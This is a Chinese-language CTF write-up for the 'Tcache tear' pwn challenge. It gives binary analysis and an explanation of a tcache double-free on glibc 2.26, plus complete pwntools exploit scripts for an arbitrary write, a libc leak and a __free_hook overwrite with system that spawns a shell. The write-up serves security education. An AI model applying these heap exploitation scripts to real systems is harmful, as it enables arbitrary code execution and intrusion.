Tcache tear题目链接
1 分析
1.1 linux下查看二进制信息
1 2 3 4 5 6 7 8 9 10 11
| $ file tcache_tear tcache_tear: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 3.2.0, BuildID[sha1]=a273b72984b37439fd6e9a64e86d1c2131948f32, stripped
$ checksec tcache_tear [*] '/mnt/hgfs/vmshare-1804/Tcache-tear/tcache_tear' Arch: amd64-64-little RELRO: Full RELRO Stack: Canary found NX: NX enabled PIE: No PIE (0x400000) FORTIFY: Enabled
|
可以得到如下信息:
- 64位二进制程序,动态链接,去符号表
- got表保护开启,got表不可写
- 栈保护开启,栈不可执行,且有canary
- 没有开启地址随机化
1.2 IDA逆向源码逻辑
main中sub_400948()存在一个alarm定时函数,于是将它patch掉。(Edit –> Patch program –>Assemble,全部patch为nop)
通过IDA分析Tcache tear的源码逻辑如下:
这里的漏洞点在num = 2的分支中,如下代码:
1 2 3 4 5 6
| if ( v4 <= 7 ) { free(ptr); ++v4; }
|
本题采用的glibc 2.26 (ubuntu 17.10) 版本,为提升堆管理性能,舍弃了很多安全检查。如,对tcache而言,可以不间隔地free两个相同的堆,并添加到tcache链表中。
本题中,控制Malloc的size在tcache范围内,执行如下命令可形成一个环:
1 2 3
| Malloc(size,data); free(); free();
|
下次malloc时,tcache将最右边的chunk返回给用户使用,用户可以更改其中的数据,如chunk的fd部分。那么当再一次malloc时,将右数第二个chunk(跟上一个实际是同一chunk)分配给用户。但此时由于fd被更改,下一次mallloc时,就会分配到fd中指定的地址。因此我们便可以在新地址中写一些数据,达到任意地址写的目的。
接下来,我们触发一下这个漏洞试试,定个小目标,去修改全局变量0x602060处Global_name的值。
1.3 漏洞触发 - 任意地址写
初始化时,Global_name赋值为xiayuan,我的目标是把它改成wangyuxuan,代码如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40
| from pwn import * context(arch='amd64',os='linux',log_level='debug') myelf = ELF('tcache_tear') myproc = process(myelf.path)
def my_malloc(size,data): myproc.recvuntil('Your choice :') myproc.sendline('1') myproc.recvuntil('Size:') myproc.sendline(p64(size)) myproc.recvuntil('Data:') myproc.sendline(data)
def my_free(): myproc.recvuntil('Your choice :') myproc.send('2')
def my_info(): myproc.recvuntil('Your choice :') myproc.send('3')
def my_exit(): myproc.recvuntil('Your choice :') myproc.send('4')
myproc.recvuntil('Name:') myproc.sendline('xiayuan')
my_malloc(200,'aaaaaaaaaa') my_free() my_free() my_malloc(200,p64(0x602060)) my_malloc(200,'0') my_malloc(200,'wangyuxuan')
gdb.attach(myproc,'b * 0x00400c02 \nc')
myproc.interactive()
|
gdb中查看Global_name处的值,成功被改
1 2
| gef➤ x/s 0x602060 0x602060: "wangyuxuan"
|
2 漏洞利用
得到一个任意地址写的漏洞,我们通常有一下几种方式利用:
- 修改函数指针
- 修改got表
- fini_array段函数指针
- libc中的函数指针
在本题中:
- 程序没有自己的函数指针
- got表不可写
- 进入main函数后,一直处于while循环,不会执行到fini_array
因此,我们只能去修改libc中的函数指针,需要:
2.1 泄露libc基址
参考hacknote中,unsorted bin的特性。这里需要构造一个会被回收到unsorted bin中的chunk,然后将chunk中相应位置的数据(main_arena的top结构体)读出,减去它跟libc基址的偏移,就可以得到libc基址。
一个又能被我们写,又能被我们读的位置,就是Global_name处。
free时除了检查当前块,还要检查nextchunk和nextchunk的nextchunk。因此总共需要构造三个块。
大小分别为0x500(free时进入usorted bin), 0x20, 0x20。且需要将他们的inuse位置1,以通过检查。
- main_arena中top结构体距离libc基址的偏移:0x00007f762418fca0 - 0x00007f7623da4000 = 0x3ebca0
泄露libc地址的源码如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54
| from pwn import * context(arch='amd64',os='linux',log_level='debug') myelf = ELF('tcache_tear') myproc = process(myelf.path)
def my_malloc(size,data): myproc.recvuntil('Your choice :') myproc.sendline('1') myproc.recvuntil('Size:') myproc.sendline(str(size)) myproc.recvuntil('Data:') myproc.sendline(data)
def my_free(): myproc.recvuntil('Your choice :') myproc.sendline('2')
def my_info(): myproc.recvuntil('Your choice :') myproc.sendline('3')
def my_exit(): myproc.recvuntil('Your choice :') myproc.sendline('4')
myproc.recvuntil('Name:') myproc.sendline(p64(0)+p64(0x501))
my_malloc(0x50,'a') my_free() my_free() my_malloc(0x50,p64(0x602060 + 0x500)) my_malloc(0x50,'0') my_malloc(0x50,(p64(0)+p64(0x21)+p64(0)+p64(0))*2)
my_malloc(0x70,'b') my_free() my_free() my_malloc(0x70,p64(0x602060 + 0x10)) my_malloc(0x70,'0') my_malloc(0x70,'b')
my_free()
my_info() myproc.recv('Name :') myproc.recv(0x10) libc_addr = u64(myproc.recv(0x8)) - 0x3ebca0
gdb.attach(myproc,'b * 0x00400c02 \nc')
myproc.interactive()
|
2.2 控制libc中的函数指针
libc中存在一些导出的hook函数指针:
1 2 3 4 5 6 7 8 9 10
| $ strings libc-123.so | grep hook __malloc_initialize_hook _dl_open_hook argp_program_version_hook __after_morecore_hook __memalign_hook __malloc_hook __free_hook _dl_open_hook2 __realloc_hook
|
malloc hook初探
根据这些hook函数的特性(malloc之前会调用__malloc_hook
,free之前会调用__free_hook
),我们可以劫持这些函数指针,来执行system函数或者one_gadget。
1 2 3 4 5 6 7 8 9 10 11 12 13
| $ one_gadget libc-123.so 0x4f2c5 execve("/bin/sh", rsp+0x40, environ) constraints: rsp & 0xf == 0 rcx == NULL
0x4f322 execve("/bin/sh", rsp+0x40, environ) constraints: [rsp+0x40] == NULL
0x10a38c execve("/bin/sh", rsp+0x70, environ) constraints: [rsp+0x70] == NULL
|
3 EXP
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69
| from pwn import * context(arch='amd64',os='linux',log_level='debug') myelf = ELF('tcache_tear') mylibc = ELF('libc-123.so') myproc = process(myelf.path)
def my_malloc(size,data): myproc.recvuntil('Your choice :') myproc.sendline('1') myproc.recvuntil('Size:') myproc.sendline(str(size)) myproc.recvuntil('Data:') myproc.sendline(data)
def my_free(): myproc.recvuntil('Your choice :') myproc.sendline('2')
def my_info(): myproc.recvuntil('Your choice :') myproc.sendline('3')
def my_exit(): myproc.recvuntil('Your choice :') myproc.sendline('4')
myproc.recvuntil('Name:') myproc.sendline(p64(0)+p64(0x501))
my_malloc(0x50,'a') my_free() my_free() my_malloc(0x50,p64(0x602060 + 0x500)) my_malloc(0x50,'0') my_malloc(0x50,(p64(0)+p64(0x21)+p64(0)+p64(0))*2)
my_malloc(0x70,'b') my_free() my_free() my_malloc(0x70,p64(0x602060 + 0x10)) my_malloc(0x70,'0') my_malloc(0x70,'b')
my_free()
my_info() myproc.recvuntil('Name :') myproc.recv(0x10) libc_addr = u64(myproc.recv(0x8)) - 0x3ebca0
free_hook = libc_addr + mylibc.symbols['__free_hook'] system_addr = libc_addr + mylibc.symbols['system']
my_malloc(0x90,'b') my_free() my_free() my_malloc(0x90,p64(free_hook)) my_malloc(0x90,'0') my_malloc(0x90,p64(system_addr))
my_malloc(0x80,'/bin/sh\x00')
my_free()
myproc.interactive()
|